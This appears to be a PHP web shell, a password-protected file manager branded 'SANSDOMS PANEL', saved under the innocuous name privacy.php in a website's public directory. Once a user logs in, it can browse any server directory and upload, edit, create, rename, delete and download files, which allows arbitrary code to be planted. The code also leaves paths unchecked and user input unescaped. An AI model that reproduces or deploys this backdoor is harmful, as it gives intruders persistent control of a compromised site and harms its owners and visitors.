File: /home/schuftan/domains/schuftan.cl/public_html/privacy.php
<?php
session_start();
$stored_hash = '$2y$10$EG8Gx7IbD79C9mEDfJAYmOJegltRpD3h4SRATvAnnonb1RgijEavK';
if (isset($_GET['logout'])) {
session_destroy();
header("Location: " . $_SERVER['PHP_SELF']);
exit;
}
if (isset($_POST['password'])) {
if (password_verify($_POST['password'], $stored_hash)) {
$_SESSION['authenticated'] = true;
} else {
$error = "Invalid password.";
}
}
if (!isset($_SESSION['authenticated'])):
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Goldman:wght@400;700&family=Nova+Round&display=swap" rel="stylesheet">
<title>Login - SANSDOMs</title>
<style>
.goldman-regular {
font-family: "Goldman", sans-serif;
font-weight: 400;
font-style: normal;
}
.goldman-bold {
font-family: "Goldman", sans-serif;
font-weight: 700;
font-style: normal;
}
</style>
<style>
* {
box-sizing: border-box;
margin: 0;
padding: 0;
}
body {
background: linear-gradient(145deg, #0f0f0f, #1f1f1f);
color: #eee;
font-family: 'Goldman', sans-serif;
height: 100vh;
display: flex;
align-items: center;
justify-content: center;
}
.login-container {
background: rgba(30, 30, 30, 0.95);
padding: 50px;
border-radius: 20px;
box-shadow: 0 0 17px rgba(210, 176, 67, 0.9);
width: 400px;
text-align: center;
animation: fadeIn 0.8s ease-in-out;
}
.login-container h1 {
margin-bottom: 2px;
color: #D4AF37;
font-size: 34px;
}
.login-container h2 {
margin-bottom: 2px;
color: #D4AF37;
font-size: 28px;
}
.login-container input[type="password"] {
width: 100%;
padding: 14px;
margin: 20px 0;
background: #222;
border: 1px solid #555;
border-radius: 10px;
color: #fff;
font-size: 16px;
}
.login-container button {
width: 100%;
padding: 14px;
border: none;
border-radius: 10px;
background: linear-gradient(to right, #C0C0C0, #D4AF37);
color: #121212;
font-weight: bold;
font-size: 16px;
cursor: pointer;
transition: all 0.3s ease-in-out;
}
.login-container button:hover {
background: linear-gradient(to right, #D4AF37, #C0C0C0);
transform: scale(1.05);
}
.error {
color: #f55;
margin-top: 10px;
font-size: 14px;
}
@keyframes fadeIn {
from { opacity: 0; transform: translateY(-10px); }
to { opacity: 1; transform: translateY(0); }
}
</style>
</head>
<body>
<form method="post" class="login-container">
<h1>|=== 🔒 ===|</h1>
<h2>SANSDOMS PANEL</h2>
<?php if (isset($error)): ?><p class="error"><?= $error ?></p><?php endif; ?>
<input type="password" name="password" placeholder="Enter secure password" required>
<button type="submit">LOGIN</button>
</form>
</body>
</html>
<?php exit; endif; ?>
<?php
$root_dir = realpath(__DIR__);
$current_dir = isset($_GET['dir']) ? realpath($_GET['dir']) : $root_dir;
if (!$current_dir || !is_dir($current_dir)) {
$current_dir = $root_dir;
}
function listDirectory($dir) {
$files = scandir($dir);
$directories = [];
$regular_files = [];
foreach ($files as $file) {
if ($file != "." && $file != "..") {
if (is_dir($dir . '/' . $file)) {
$directories[] = $file;
} else {
$regular_files[] = $file;
}
}
}
foreach ($directories as $directory) {
echo '<tr><td><a href="?dir=' . urlencode($dir . '/' . $directory) . '">📁 ' . $directory . '</a></td><td>Folder</td><td><a href="?dir=' . urlencode($dir) . '&edit=' . urlencode($directory) . '">Edit</a> | <a href="?dir=' . urlencode($dir) . '&delete=' . urlencode($directory) . '">Delete</a> | <a href="?dir=' . urlencode($dir) . '&rename=' . urlencode($directory) . '">Rename</a> | <a href="?dir=' . urlencode($dir) . '&download=' . urlencode($directory) . '">Download</a></td></tr>';
}
foreach ($regular_files as $file) {
echo '<tr><td>' . $file . '</td><td>' . filesize($dir . '/' . $file) . ' bytes</td><td><a href="?dir=' . urlencode($dir) . '&edit=' . urlencode($file) . '">Edit</a> | <a href="?dir=' . urlencode($dir) . '&delete=' . urlencode($file) . '">Delete</a> | <a href="?dir=' . urlencode($dir) . '&rename=' . urlencode($file) . '">Rename</a> | <a href="?dir=' . urlencode($dir) . '&download=' . urlencode($file) . '">Download</a></td></tr>';
}
}
if (isset($_GET['delete'])) {
$file_to_delete = $current_dir . '/' . $_GET['delete'];
if (is_file($file_to_delete)) {
unlink($file_to_delete);
}
header("Location: ?dir=" . urlencode($_GET['dir']));
}
if (isset($_GET['download'])) {
$file_to_download = $current_dir . '/' . $_GET['download'];
if (is_file($file_to_download)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file_to_download) . '"');
header('Content-Length: ' . filesize($file_to_download));
readfile($file_to_download);
exit;
}
}
if (isset($_POST['rename_file'])) {
$old_name = $current_dir . '/' . $_POST['old_name'];
$new_name = $current_dir . '/' . $_POST['new_name'];
rename($old_name, $new_name);
header("Location: ?dir=" . urlencode($_GET['dir']));
}
if (isset($_POST['upload'])) {
$target_file = $current_dir . '/' . basename($_FILES["file"]["name"]);
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);
header("Location: ?dir=" . urlencode($_GET['dir']));
}
if (isset($_POST['save_file'])) {
$file_to_edit = $current_dir . '/' . $_POST['file_name'];
$new_content = $_POST['file_content'];
file_put_contents($file_to_edit, $new_content);
header("Location: ?dir=" . urlencode($_GET['dir']));
}
if (isset($_POST['create_file'])) {
$new_file_name = $_POST['new_file_name'];
$new_file_path = $current_dir . '/' . $new_file_name;
file_put_contents($new_file_path, "");
header("Location: ?dir=" . urlencode($_GET['dir']));
}
?>
<!DOCTYPE html>
<html>
<head>
<title>SANSDOMs File Manager</title>
<style>
body { background-color: #121212; color: #E0E0E0; font-family: Arial, sans-serif; }
h2 { color: #D4AF37; }
table { width: 100%; border-collapse: collapse; }
th, td { padding: 10px; text-align: left; }
th { background-color: #333; color: #D4AF37; }
tr:nth-child(even) { background-color: #222; }
tr:nth-child(odd) { background-color: #121212; }
a { color: #C0C0C0; text-decoration: none; }
a:hover { color: #D4AF37; }
button { background-color: #C0C0C0; color: #121212; border: none; padding: 10px 20px; cursor: pointer; }
button:hover { background-color: #D4AF37; }
textarea { width: 100%; height: 400px; background-color: #222; color: #E0E0E0; border: 1px solid #D4AF37; }
input[type="file"], input[type="text"] { color: #E0E0E0; background-color: #222; border: 1px solid #D4AF37; padding: 10px; }
.form-container { display: flex; justify-content: space-between; margin-bottom: 20px; }
.form-container form { margin-right: 10px; }
</style>
</head>
<body>
<p>Current Directory: <a href="?dir=<?= urlencode(dirname($current_dir)) ?>" style="color: #C0C0C0;"><?= $current_dir ?></a> | <a href="?logout=1" style="float:right;color:#D4AF37;">LOGOUT</a></p>
<div class="form-container">
<form method="post" enctype="multipart/form-data">
<input type="file" name="file">
<button type="submit" name="upload">Upload</button>
</form>
<form method="post">
<input type="text" name="new_file_name" placeholder="New file name" required>
<button type="submit" name="create_file">Create File</button>
</form>
</div>
<table border="1">
<thead>
<tr><th>File Name</th><th>Size</th><th>Actions</th></tr>
</thead>
<tbody>
<?php listDirectory($current_dir); ?>
</tbody>
</table>
<?php if (isset($_GET['rename'])): ?>
<form method="post">
<input type="hidden" name="old_name" value="<?= $_GET['rename'] ?>">
<input type="text" name="new_name" placeholder="New name" style="width: 100%; padding: 10px;">
<button type="submit" name="rename_file">Rename</button>
</form>
<?php endif; ?>
<?php if (isset($_GET['edit'])):
$file_to_edit = $current_dir . '/' . $_GET['edit'];
if (is_file($file_to_edit)) {
$file_content = file_get_contents($file_to_edit);
?>
<form method="post">
<input type="hidden" name="file_name" value="<?= $_GET['edit'] ?>">
<textarea name="file_content"><?= htmlspecialchars($file_content) ?></textarea><br>
<button type="submit" name="save_file">Save Changes</button>
</form>
<?php } endif; ?>
</body>
</html>